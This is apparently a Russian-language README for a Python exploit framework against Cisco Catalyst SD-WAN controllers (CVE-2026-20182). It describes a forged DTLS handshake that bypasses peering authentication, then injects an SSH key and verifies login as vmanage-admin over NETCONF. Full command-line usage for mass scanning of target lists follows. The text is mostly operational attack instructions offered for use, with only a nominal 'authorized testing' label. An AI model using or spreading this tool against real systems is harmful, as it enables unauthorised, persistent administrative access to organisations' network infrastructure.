
Обход аутентификации пиринга Cisco Catalyst SD-WAN
Cisco Catalyst SD-WAN Обход аутентификации пиринга
Инструмент оценки для авторизованного тестирования обхода аутентификации пиринга Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Severity | Critical (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Product | Cisco Catalyst SD-WAN Controller (ранее vSmart) · Cisco Catalyst SD-WAN Manager (ранее vManage) |
| Issue | Механизм аутентификации пиринга не применяется корректно |
| Script | CVE-2026-20182.py |
Май 2026, уведомление: Ошибка в рукопожатии управляющего соединения / аутентификации пиринга позволяет неаутентифицированному удаленному атакующему обойти аутентификацию и получить внутренний доступ с высокими привилегиями к уязвимым системам.
Атакующий отправляет специально сформированные запросы на уязвимую систему. В случае успеха атакующий может аутентифицироваться как внутренняя, высокопривилегированная, не-root учетная запись и получить доступ к NETCONF, что позволяет манипулировать конфигурацией SD-WAN фабрики.
| Пункт | Детали |
|---|---|
| Вектор атаки | Сеть |
| Необходимые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Область действия | Изменена |
| Влияние | Конфиденциальность, целостность и доступность — Высокое |
Рекомендация: Примените исправления безопасности Cisco в соответствии с официальными рекомендациями поставщика. Ограничьте доступ к плоскости управления, контролируйте соединения плоскости управления и проверьте контроллеры SD-WAN на наличие несанкционированных изменений конфигурации.
Telegram: @KNxploited
CVE-2026-20182.pyФреймворк эксплойта на Python 3 для CVE-2026-20182 против Cisco SD-WAN vdaemon (UDP/DTLS 12346).
| Шаг | Фаза | Описание |
|---|---|---|
| 1 | Загрузка целей | Парсинг targets.txt, слияние дубликатов по (host, domain_id, site_id) |
| 2 | Проверка OpenSSL | Загрузка общих библиотек OpenSSL 3.x/4.x для пользовательского DTLS |
| 3 | Подключение DTLS | Подключение к целевому UDP-порту (сначала 12346, затем опционально список портов) |
| 4 | CHALLENGE | Получение от сервера CHALLENGE (0x08) |
| 5 | CHALLENGE_ACK | Отправка поддельного CHALLENGE_ACK как vHub (тип 2) — обход аутентификации |
| 6 | Hello | Завершение обмена Hello — подтверждение пути обхода |
| 7a | Режим CHECK | Остановка здесь — запись только bypass / Hello OK (без ключей, без SSH) |
| 7b | Режим FULL | Внедрение открытого ключа SSH через VMANAGE_TO_PEER |
| 8 | Подтверждение Inject | Ожидание REGISTER_TO_VMANAGE (0x0D) в качестве подтверждения протокола |
| 9 | Проверка SSH | Тестовый вход как vmanage-admin на TCP 830 (NETCONF), опционально 22 |
| 10 | Вывод | Сортировка результатов в файлы уровней + удобочитаемый список команд |
Возврат фабрики: При TEAR_DOWN или несоответствии параметров повторяет альтернативные предустановки domain/site (1,100), (1,1), (0,0), если не указано --no-fallback.
| Уровень | Файл | Значение |
|---|---|---|
| 01 — Подтвержденный SSH | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — единственный уровень, считающийся полным доказательством компрометации |
| 02 — Только Inject ACK | cisco_sdwan_02_inject_ack_only.jsonl | Протокол принял внедрение ключа; вход по SSH не удался |
| 03 — Только Bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass выполнен; подтвержденного внедрения нет |
Важно
check → максимум уровень 03 (зонд обхода). Не является доказательством полной эксплуатации.full → стремитесь к уровню 01 (ssh_verified).https://host в списке → только подсказка TCP веб (80/443). Не UDP DTLS на 443.| Требование | Примечания |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Общие библиотеки 3.x или 4.x (libssl + libcrypto) — обязательно |
pip install -r requirements.txt
Windows
bin\ в PATH, или укажите:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
Инструмент завершает работу при запуске, если OpenSSL не загружен.
python CVE-2026-20182.py
0 = ЗАПУСК СКАНИРОВАНИЯcheck (безопасный зонд обхода)python CVE-2026-20182.py -y
| Режим | Флаг | Внедрение SSH | Проверка SSH | Использовать, когда |
|---|---|---|---|---|
| CHECK | --mode check (по умолчанию) | Нет | Нет | Массовый скрининг, обнаружение обхода |
| FULL | --mode full | Да | Да (кроме --no-ssh-verify) | Доказательство компрометации |
CHECK — только зонд обхода
python CVE-2026-20182.py -y --mode check
FULL — внедрение ключа + проверка SSH (только авторизованные цели)
python CVE-2026-20182.py -y --mode full
-f / --file — список целей (по умолчанию: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — рабочие потоки (1–200, по умолчанию 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID по умолчанию, если не указан в списке (по умолчанию: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID по умолчанию, если не указан в списке (по умолчанию: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — пропустить интерактивное меню; использовать только значения CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — пропустить тест SSH после внедрения (не рекомендуется в режиме full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — также попробовать TCP 22 после 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — только UDP 12346; игнорировать :port из списка
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — лаборатория: дополнительные UDP порты на каждом хосте
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — отключить повтор domain/site при TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full